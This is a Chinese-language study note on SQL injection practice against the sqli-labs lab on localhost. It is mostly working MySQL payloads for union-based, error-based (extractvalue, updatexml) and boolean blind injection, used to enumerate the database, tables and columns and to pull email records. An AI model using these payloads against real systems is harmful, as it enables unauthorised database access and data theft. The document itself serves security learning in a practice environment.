周记6-SQL注入
SQL 注入
union联合注入
当完成之前所述的步骤,我们就可以开始正式进行注入环节了
1.步骤1-查询判断
1 | order by 列序号(表示按第几列排序) |
-1’ union select 1,2,3#
id=-1表示查不到结果
之前知道结果有3列,所以用1,2,3
所以只会显示select 1,2,3中的2、3
2.步骤2-显示数据库名
利用database()函数显示
3.步骤3-获取这个数据库中的所有表名
-1’ union select 1,database(),3#
-1’ union select 1,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),3#
-1’ union select 1,(select table_name from information_schema.tables where table_schema=’security’ limit 1,1),3#
也可以利用group_concat更简单的操作
-1’ union select 1,database(),3#
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3#
4.步骤4-查询emails表中有哪些列名
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’emails’),3#
5.步骤5-查emails表中的email_id
-1’ union select 1,(select email_id from emails limit 0, 1),3#
报错注入
1.步骤1:使用extractvalue攻击获取数据库名
2.步骤2-获取表名
‘ and extractvalue(‘div’, concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=’security’)))#
3.步骤3-获取列名
‘ and extractvalue(‘div’, concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’emails’)))#
4.步骤4-获取邮箱数据
‘ and extractvalue(‘div’, concat(‘~’,(select email_id from emails limit 0,1)))#
使用updatexml攻击获取数据库名
‘ and updatexml(‘div’, concat(‘~’,database()), ‘hi’)#
布尔注入(盲注)
库名的长度
1 | 有:http://localhost/sqli-labs/Less-8/?id=1' and 1=1%23 |
暴破库名的每个字符
1 | 没有:http://localhost/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='a'%23 |